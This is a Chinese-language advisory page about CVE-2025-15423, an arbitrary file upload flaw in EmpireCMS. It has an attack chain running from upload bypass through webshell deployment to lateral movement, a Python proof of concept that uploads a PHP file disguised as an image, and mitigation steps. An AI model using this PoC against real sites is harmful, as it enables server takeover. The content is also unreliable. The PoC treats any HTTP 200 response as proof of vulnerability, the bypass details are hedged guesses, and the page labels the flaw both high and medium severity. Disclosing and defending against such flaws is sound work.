IPBUF安全漏洞报告
English
CVE-2025-15423 CVSS 6.3 中危

CVE-2025-15423: EmpireCMS CheckSaveTranFiletype函数任意文件上传漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15423
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EmpireSoft EmpireCMS

相关标签

任意文件上传CVE-2025-15423EmpireCMSEmpireSoftCheckSaveTranFiletype远程代码执行WebShell内容管理系统中危漏洞

漏洞概述

CVE-2025-15423是EmpireSoft EmpireCMS内容管理系统中的一个高危安全漏洞,存在于e/class/connect.php文件的CheckSaveTranFiletype函数中。该漏洞允许具有低权限的攻击者通过操纵文件上传功能实现任意文件上传,可能导致远程代码执行、敏感数据泄露或服务器完全沦陷。EmpireCMS是一款广泛应用于中国的企业级内容管理系统和站群系统,由于其用户群体庞大,该漏洞对大量在线业务系统构成严重威胁。漏洞已于2026年1月2日公开披露,CVSS评分为6.3,属于中等严重程度,但实际危害可能因具体部署环境而异。攻击者可利用此漏洞上传恶意脚本文件(如WebShell),进而获取服务器控制权限。

技术细节

漏洞根源在于EmpireCMS的CheckSaveTranFiletype函数对上传文件的类型验证存在缺陷。该函数本应负责检查上传文件的MIME类型和扩展名,但验证逻辑不够严格,允许攻击者绕过安全检查。具体而言,函数可能仅检查文件扩展名或Content-Type头,而未对文件内容进行深度验证。攻击者可以通过构造特殊的文件上传请求,将.php、.jsp、.asp等可执行脚本文件的扩展名伪装成允许的类型(如.jpg、.gif),或利用多字节字符、空字节截断等技术手段绕过检测。成功上传后,攻击者可通过直接访问上传的文件路径来执行恶意代码,实现远程代码执行。漏洞影响EmpireCMS 8.0及以下所有版本,攻击复杂度低且无需用户交互。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的EmpireCMS版本,确认版本号<=8.0
STEP 2
步骤2: 认证与权限获取
攻击者获取EmpireCMS的低权限账户(如普通管理员或编辑账户)
STEP 3
步骤3: 文件上传点定位
定位存在漏洞的文件上传接口,通常位于e/admin/file/upload.php或相关模块
STEP 4
步骤4: 构造恶意文件
构造包含恶意代码的文件,可使用多扩展名、伪造MIME类型或特殊字符绕过检测
STEP 5
步骤5: 绕过CheckSaveTranFiletype验证
利用该函数的验证缺陷,上传.php、.jsp等可执行脚本文件
STEP 6
步骤6: WebShell部署
成功上传后,访问上传的文件路径以执行恶意代码,获得服务器命令执行能力
STEP 7
步骤7: 持久化与横向移动
植入持久化后门,创建额外账户或利用已获取权限进行内网横向扩展

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15423 PoC - EmpireCMS Unrestricted File Upload # Target: EmpireCMS <= 8.0 # Function: CheckSaveTranFiletype in e/class/connect.php TARGET_URL = "http://target.com/" # Modify these paths based on actual environment UPLOAD_PATH = "e/admin/file/upload.php" VERIFY_PATH = "d/file/" # Upload directory def check_vulnerability(): """Check if target is vulnerable""" try: # Test file upload with PHP webshell files = { 'file': ('test.php', '<?php phpinfo(); ?>', 'image/jpeg') } data = { 'filepath': 'test.php' } response = requests.post( TARGET_URL + UPLOAD_PATH, files=files, data=data, timeout=10 ) if response.status_code == 200: # Check if file was uploaded successfully if 'success' in response.text.lower() or response.status_code == 200: print("[+] Target appears to be vulnerable!") print("[+] Uploaded file path: " + TARGET_URL + VERIFY_PATH + "test.php") return True print("[-] Target does not appear to be vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": check_vulnerability()

影响范围

EmpireSoft EmpireCMS <= 8.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制文件上传功能的使用;2)将上传目录设置为不可执行,配置Apache/Nginx等Web服务器禁止执行该目录下的脚本;3)部署WAF规则拦截可疑的文件上传请求;4)加强用户权限管理,限制低权限账户的文件上传操作;5)启用详细的访问日志和文件上传审计,及时发现异常行为。建议尽快联系EmpireCMS官方获取安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表